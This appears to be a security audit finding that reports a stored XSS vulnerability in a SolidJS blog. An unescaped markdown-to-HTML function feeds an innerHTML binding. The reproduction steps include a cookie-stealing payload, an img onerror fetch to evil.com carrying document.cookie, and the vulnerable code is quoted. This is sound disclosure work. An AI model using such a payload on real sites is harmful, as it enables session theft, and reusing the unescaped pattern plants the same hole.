Files
Kordant/piolium/findings/p8-001-xss-in-innerhtml/report.md
2026-05-29 09:03:47 -04:00

2.8 KiB
Raw Blame History

Phase: 8 Sequence: 001 Slug: xss-in-innerhtml Verdict: VALID Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer Severity-Original: high Severity: high PoC-Status: pending Pre-FP-Flag: none Debate: piolium/attack-surface/balanced-chamber-summary.md

Summary

The blog post rendering in web/src/routes/blog/[slug].tsx uses a custom contentToHtml() function that performs raw string concatenation without HTML escaping, combined with SolidJS's innerHTML directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.

Location

  • web/src/routes/blog/[slug].tsx lines 1446 (contentToHtml function)
  • web/src/routes/blog/[slug].tsx line 121 (innerHTML binding)

Attacker Control

An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the blogPosts.content column and rendered on every page view.

Trust Boundary Crossed

Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.

Impact

Stored XSS affecting all blog post viewers. Attackers can:

  • Steal session cookies and JWT tokens
  • Perform actions on behalf of victims (account takeover)
  • Redirect users to phishing pages
  • Deface blog content

Evidence

// contentToHtml() — no HTML escaping
function contentToHtml(markdown: string): string {
  const lines = markdown.split("\n");
  let html = "";
  for (const line of lines) {
    if (line.startsWith("## ")) {
      html += `<h2 class="...">${line.slice(3)}</h2>`;  // No escaping
    } else {
      html += `<p class="...">${line}</p>`;  // No escaping
    }
  }
  return html;
}
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping

Reproduction Steps

  1. Admin creates blog post with content: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
  2. Any user visits the blog post page
  3. The contentToHtml() function renders the content without escaping
  4. The innerHTML directive renders the HTML as-is
  5. The onerror handler executes, sending the victim's cookie to the attacker's server

Defense Search Results

  • CSP header includes 'unsafe-inline' in script-src — does not prevent inline script execution
  • CSP header includes 'unsafe-eval' in script-src — further weakens CSP
  • SolidJS default escaping is bypassed by the innerHTML directive
  • No DOMPurify or similar sanitization library used